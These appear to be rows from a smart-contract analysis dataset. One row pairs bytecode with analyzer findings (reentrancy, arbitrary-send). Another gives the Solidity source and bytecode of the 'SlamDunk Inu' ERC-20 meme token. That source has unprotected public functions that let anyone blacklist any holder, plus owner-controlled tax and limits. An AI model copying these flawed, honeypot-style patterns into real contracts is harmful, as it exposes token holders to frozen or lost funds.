ffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61298b33612a58565b6129fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601e60009054906101000a900460ff1681565b600080828401905083811015612b3f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000838311158290612bf6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612bbb578082015181840152602081019050612ba0565b50505050905090810190601f168015612be85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000602060009054906101000a900460ff1615612c3257612c2b848484613710565b90506134c6565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612cd65750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612d8c57601e60009054906101000a900460ff16612d5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f54726164696e67206e6f74206f70656e2079657400000000000000000000000081525060200191505060405180910390fd5b600b54421115612d8b576000601e60016101000a81548160ff021916908315150217905550612d8a6138e3565b5b5b60085482111580612de65750601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612e58576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5458204c696d697420457863656564656400000000000000000000000000000081525060200191505060405180910390fd5b601e60019054906101000a900460ff168015612ec15750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015612f175750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612f6d5750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612fd657601a839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156130415750602060009054906101000a900460ff16155b80156130595750602060019054906101000a900460ff165b80156130a65750602154600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b156130b4576130b36139ed565b5b6130bc613ff0565b1580156131165750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15613170576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541161316757600080fd5b61316f613ffd565b5b6131f9826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b499092919063ffffffff16565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156132a25750600d60009054906101000a900460ff165b15613308576009546132fc83600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b111561330757600080fd5b5b6000601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156133ae5750601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6133b857826133c4565b6133c3858585614006565b5b905061341881600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360019150505b9392505050565b600061350f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612b49565b905092915050565b61356981600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134cd90919063ffffffff16565b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061362081600e6000600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b600e6000600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600061379b826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b499092919063ffffffff16565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061383082600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60005b601a8054905081101561398c576000601a828154811061390257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061397d8282613517565b505080806001019150506138e6565b50600067ffffffffffffffff811180156139a557600080fd5b506040519080825280602002602001820160405280156139d45781602001602082028036833780820191505090505b50601a90805190602001906139ea929190614344565b50565b6001602060006101000a81548160ff0219169083151502179055506000600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000613a8a6002613a7c601654613a6e601354876141ae90919063ffffffff16565b61423490919063ffffffff16565b61423490919063ffffffff16565b90506000613aa182846134cd90919063ffffffff16565b90506000600267ffffffffffffffff81118015613abd57600080fd5b50604051908082528060200260200182016040528015613aec5781602001602082028036833780820191505090505b5090503081600081518110613afd57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015613b9f57600080fd5b505afa158015613bb3573d6000803e3d6000fd5b505050506040513d6020811015613bc957600080fd5b810190808051906020019092919050505081600181518110613be757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015613ce5578082015181840152602081019050613cca565b505050509050019650505050505050600060405180830381600087803b158015613d0e57600080fd5b505af1158015613d22573d6000803e3d6000fd5b5050505060004790506000613d57613d46600260135461423490919063ffffffff16565b6016546134cd90919063ffffffff16565b90506000613d956002613d8784613d79601354886141ae90919063ffffffff16565b61423490919063ffffffff16565b61423490919063ffffffff16565b90506000613dac82856134cd90919063ffffffff16565b90506000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168261753090604051806000019050600060405180830381858888f193505050503d8060008114613e35576040519150601f19603f3d011682016040523d82523d6000602084013e613e3a565b606091505b50509050600090506000881115613fca57601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308b600080601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b158015613f3757600080fd5b505af1158015613f4b573d6000803e3d6000fd5b50505050506040513d6060811015613f6257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b45068389604051808381526020018281526020019250505060405180910390a15b5050505050505050506000602060006101000a81548160ff021916908315150217905550565b600080601d541415905090565b43601d81905550565b6000808373ffffffffffffffffffffffffffffffffffffffff16601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146140665760165461406a565b6017545b90506000614094606461408684876141ae90919063ffffffff16565b61423490919063ffffffff16565b90506140e881600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36141a381856134cd90919063ffffffff16565b925050509392505050565b6000808314156141c1576000905061422e565b60008284029050828482816141d257fe5b0414614229576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806143ec6021913960400191505060405180910390fd5b809150505b92915050565b600061427683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061427e565b905092915050565b6000808311829061432a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156142ef5780820151818401526020810190506142d4565b50505050905090810190601f16801561431c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161433657fe5b049050809150509392505050565b8280548282559060005260206000209081019282156143bd579160200282015b828111156143bc5782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190614364565b5b5090506143ca91906143ce565b5090565b5b808211156143e75760008160009055506001016143cf565b509056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220dcc804e92db93a07693ca5102da9bb61a5f54cf55fc85f9a211c3989e8bcadcf64736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,351 |
0x5ac599877e51Ac1C0697a44fc26476C074B1B4C1 | /**
*Submitted for verification at Etherscan.io on 2022-03-08
*/
// SPDX-License-Identifier: Unlicensed
/**
SlamDunk Inu is a new token on the ERC20 Network that combines fans of the most anime in the world with SlamDunk Its purpose is to reward holders by surpassing all other ERC-20 tokens.
SlamDunk Inu is designed to benefit the community. Which is why it has already started developing NTFs affairs and its NFTs is designed by famous designers.
📈Token Name: SlamDunk Inu
Transaction Tax : 12%
5% Marketing
3% Rewards
2% Advertising/Dev Team
2% For Charity donation
Total Supply: 100,000,000
Max Buy: 1%
Lock Period: 14 days
Initial Liquidity Pool: 3.5 ETH
Twitter: https://twitter.com/SlamDunkInu
Telegram: https://t.me/SlamDunkInu
Website: https://www.slamdunkinu.com
Uniswap ERC20 tokens
**/
pragma solidity ^0.8.12;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract SlamDunkInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) public bots;
uint256 private _tTotal = 100000000 * 10**18;
uint256 private _maxWallet= 100000000 * 10**18;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 public _maxTxAmount;
string private constant _name = "Slam Dunk Inu";
string private constant _symbol = "SLAMDUNK";
uint8 private constant _decimals = 18;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_taxFee = 12;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_balance[address(this)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(100);
_maxWallet=_tTotal.div(50);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
}
require(!bots[from] && !bots[to], "This account is blacklisted");
if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= 1000000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function decreaseTax(uint256 newTaxRate) public onlyOwner{
require(newTaxRate<_taxFee);
_taxFee=newTaxRate;
}
function increaseBuyLimit(uint256 amount) public onlyOwner{
require(amount>_maxTxAmount);
_maxTxAmount=amount;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function createUniswapPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function addLiquidity() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function increaseMaxWallet(uint256 amount) public onlyOwner{
require(amount>_maxWallet);
_maxWallet=amount;
}
receive() external payable {}
function blockBots(address[] memory bots_) public {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}}
function unblockBot(address notbot) public {
bots[notbot] = false;
}
function collectTax() public{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
} | 0x60806040526004361061012d5760003560e01c80636b999053116100ab57806395d89b411161006f57806395d89b411461035d5780639a024c1a1461038e578063a9059cbb146103ae578063bfd79284146103ce578063dd62ed3e146103fe578063e8078d941461044457600080fd5b80636b9990531461029857806370a08231146102d4578063715018a61461030a5780637d1db4a51461031f5780638da5cb5b1461033557600080fd5b8063313ce567116100f2578063313ce567146102125780633d8705ab1461022e5780633e7175c5146102435780634a1316721461026357806350e6a5c91461027857600080fd5b8062b8cf2a1461013957806306fdde031461015b578063095ea7b3146101a357806318160ddd146101d357806323b872dd146101f257600080fd5b3661013457005b600080fd5b34801561014557600080fd5b50610159610154366004611472565b610459565b005b34801561016757600080fd5b5060408051808201909152600d81526c536c616d2044756e6b20496e7560981b60208201525b60405161019a9190611537565b60405180910390f35b3480156101af57600080fd5b506101c36101be36600461158c565b6104c5565b604051901515815260200161019a565b3480156101df57600080fd5b506006545b60405190815260200161019a565b3480156101fe57600080fd5b506101c361020d3660046115b8565b6104dc565b34801561021e57600080fd5b506040516012815260200161019a565b34801561023a57600080fd5b50610159610545565b34801561024f57600080fd5b5061015961025e3660046115f9565b610552565b34801561026f57600080fd5b50610159610598565b34801561028457600080fd5b506101596102933660046115f9565b610832565b3480156102a457600080fd5b506101596102b3366004611612565b6001600160a01b03166000908152600560205260409020805460ff19169055565b3480156102e057600080fd5b506101e46102ef366004611612565b6001600160a01b031660009081526002602052604090205490565b34801561031657600080fd5b5061015961086f565b34801561032b57600080fd5b506101e4600a5481565b34801561034157600080fd5b506000546040516001600160a01b03909116815260200161019a565b34801561036957600080fd5b50604080518082019091526008815267534c414d44554e4b60c01b602082015261018d565b34801561039a57600080fd5b506101596103a93660046115f9565b6108e3565b3480156103ba57600080fd5b506101c36103c936600461158c565b610920565b3480156103da57600080fd5b506101c36103e9366004611612565b60056020526000908152604090205460ff1681565b34801561040a57600080fd5b506101e461041936600461162f565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561045057600080fd5b5061015961092d565b60005b81518110156104c15760016005600084848151811061047d5761047d611668565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806104b981611694565b91505061045c565b5050565b60006104d2338484610a90565b5060015b92915050565b60006104e9848484610bb4565b61053b843361053685604051806060016040528060288152602001611833602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610ff7565b610a90565b5060019392505050565b4761054f81611031565b50565b6000546001600160a01b031633146105855760405162461bcd60e51b815260040161057c906116af565b60405180910390fd5b600754811161059357600080fd5b600755565b6000546001600160a01b031633146105c25760405162461bcd60e51b815260040161057c906116af565b600c54600160a01b900460ff161561061c5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161057c565b600b546006546106399130916001600160a01b0390911690610a90565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561068c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b091906116e4565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610712573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073691906116e4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610783573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a791906116e4565b600c80546001600160a01b0319166001600160a01b03928316908117909155600b5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af115801561080e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061054f9190611701565b6000546001600160a01b0316331461085c5760405162461bcd60e51b815260040161057c906116af565b600a54811161086a57600080fd5b600a55565b6000546001600160a01b031633146108995760405162461bcd60e51b815260040161057c906116af565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461090d5760405162461bcd60e51b815260040161057c906116af565b600854811061091b57600080fd5b600855565b60006104d2338484610bb4565b6000546001600160a01b031633146109575760405162461bcd60e51b815260040161057c906116af565b600b546001600160a01b031663f305d7194730610989816001600160a01b031660009081526002602052604090205490565b60008061099e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a06573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a2b9190611723565b5050600c805462ff00ff60a01b19166201000160a01b17905550565b6000610a8983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061106b565b9392505050565b6001600160a01b038316610af25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161057c565b6001600160a01b038216610b535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161057c565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c185760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161057c565b6001600160a01b038216610c7a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161057c565b60008111610cdc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161057c565b6000546001600160a01b03848116911614801590610d0857506000546001600160a01b03838116911614155b15610f9657600c546001600160a01b038481169116148015610d385750600b546001600160a01b03838116911614155b8015610d5d57506001600160a01b03821660009081526004602052604090205460ff16155b15610db457600a54811115610db45760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161057c565b6001600160a01b03831660009081526005602052604090205460ff16158015610df657506001600160a01b03821660009081526005602052604090205460ff16155b610e425760405162461bcd60e51b815260206004820152601b60248201527f54686973206163636f756e7420697320626c61636b6c69737465640000000000604482015260640161057c565b600c546001600160a01b03838116911614801590610e7957506001600160a01b03821660009081526004602052604090205460ff16155b8015610e9e57506001600160a01b03831660009081526004602052604090205460ff16155b15610f1e5760075481610ec6846001600160a01b031660009081526002602052604090205490565b610ed09190611751565b1115610f1e5760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a6500000000604482015260640161057c565b30600090815260026020526040902054600c54600160a81b900460ff16158015610f565750600c546001600160a01b03858116911614155b8015610f6b5750600c54600160b01b900460ff165b15610f9457610f7981611099565b47670de0b6b3a76400008110610f9257610f9247611031565b505b505b6001600160a01b038216600090815260046020526040902054610ff29084908490849060ff1680610fdf57506001600160a01b03871660009081526004602052604090205460ff165b610feb57600854611213565b6000611213565b505050565b6000818484111561101b5760405162461bcd60e51b815260040161057c9190611537565b5060006110288486611769565b95945050505050565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156104c1573d6000803e3d6000fd5b6000818361108c5760405162461bcd60e51b815260040161057c9190611537565b5060006110288486611780565b600c805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110e1576110e1611668565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561113a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115e91906116e4565b8160018151811061117157611171611668565b6001600160a01b039283166020918202929092010152600b546111979130911684610a90565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111d09085906000908690309042906004016117a2565b600060405180830381600087803b1580156111ea57600080fd5b505af11580156111fe573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b600061122a60646112248585611317565b90610a47565b905060006112388483611396565b6001600160a01b03871660009081526002602052604090205490915061125e9085611396565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461128d90826113d8565b6001600160a01b0386166000908152600260205260408082209290925530815220546112b990836113d8565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b600082611326575060006104d6565b60006113328385611813565b90508261133f8583611780565b14610a895760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161057c565b6000610a8983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ff7565b6000806113e58385611751565b905083811015610a895760405162461bcd60e51b815260206004820152601b6